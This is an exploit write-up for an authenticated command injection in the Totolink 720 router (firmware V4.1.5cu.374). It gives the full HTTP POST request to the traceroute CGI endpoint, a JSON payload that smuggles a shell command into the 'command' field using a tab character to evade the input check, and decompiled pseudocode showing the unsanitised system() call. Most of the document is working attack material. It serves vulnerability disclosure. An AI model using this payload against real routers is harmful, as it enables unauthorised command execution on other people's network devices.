Exploit Title: Totolink 720 has a code execution vulnerability
Version:V4.1.5cu.374
Date:2022/08/16
Exploit Author:xiaohu816
Vendor Homepage:https://www.totolink.net/

POC:
After the administrator logs in, enter the "system tools" - > "route tracking" page to execute the command
Execute TLS > / TMP / 2.txt

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 58
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/99.0.4844.51 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/traceroute.html?time=1659892330160
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SESSION_ID=2:1591951611:2
Connection: close
```

```
{"command":"aaaa\tls>/tmp/2.txt","num":"4","topicurl":"setTracerouteCfg"}
```

Analysis Report:

In the processing function of setting the routing parameters of the router, the input IP address is simply checked and then written into V6 through sprintf, and then the system is called for execution

IDA View-A | Pseudocode-C | Pseudocode-B | Pseudocode-A | Strings

```
1  int __fastcall setTracerouteCfg(int a1)
2  {
3    const char *Var; // $s1
4    int v3; // $v0
5    int v4; // $s0
6    char v6[128]; // [sp+18h] [-80h] BYREF
7
8    memset(v6, 0, sizeof(v6));
9    Var = (const char *)websGetVar(a1, "command", "www.baidu.com");
10   v3 = websGetVar(a1, "num", &byte_42FF00);
11   v4 = atoi(v3);
12   if ( !Validity_check(Var) )
13   {
14     sprintf(v6, "traceroute -w 4 -m %d %s&>/var/log/traceRouteLog", v4, Var);
15     system(v6);
16   }
17   sub_42A7A0(&word_42EC2C, "reserv");
18   return 1;
19 }
```

You can bypass the check by \ t to realize command injection